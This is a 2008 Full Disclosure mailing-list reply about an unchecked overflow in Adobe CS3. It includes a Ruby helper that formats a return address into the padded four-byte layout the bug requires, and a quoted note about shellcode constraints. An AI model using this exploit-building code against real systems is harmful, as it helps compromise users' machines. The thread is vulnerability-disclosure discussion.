full-disclosure - Re: Adobe Unchecked Overflow

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Message-Id: <B071D66D-4835-4937-A432-664470181898@digitalmunition.com>
Date: Mon, 21 Apr 2008 10:43:27 -0400
From: "Kevin Finisterre (lists)" <kf_lists@...italmunition.com>
To: c0ntex <c0ntexb@...il.com>
Cc: Full Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: Adobe Unchecked Overflow

I've been beating on CS3 a bit the past few days myself... I ran  
across the same issue. Here is a little helper function

def addr_to_asc_pad(addr)
         low = (addr & 0x0000ffff)
         high = (addr & 0xffff0000) >> 16
         a = (low & 0x00ff)
         b = (low & 0xff00) >> 8
         c = (high & 0x00ff)
         d = (high & 0xff00) >> 8
         sprintf( "%s\x00\x00%s\x00\x00%s\x00\x00%s\x00\x00", a.chr,  
b.chr, c.chr, d.chr )
end

-KF


On Apr 21, 2008, at 7:23 AM, c0ntex wrote:
>
>
> There is a caveats to the bug as the shellcode and return address  
> need to be 4
> byte values. Thus a return address of 0x41424344 needs to be in the  
> following
> format:  
> "\x44\x44\x44\x44\x43\x43\x43\x43\x42\x42\x42\x42\x41\x41\x41\x41"
>
> ...
>
> regards
> c0ntex
> _______________________________________________
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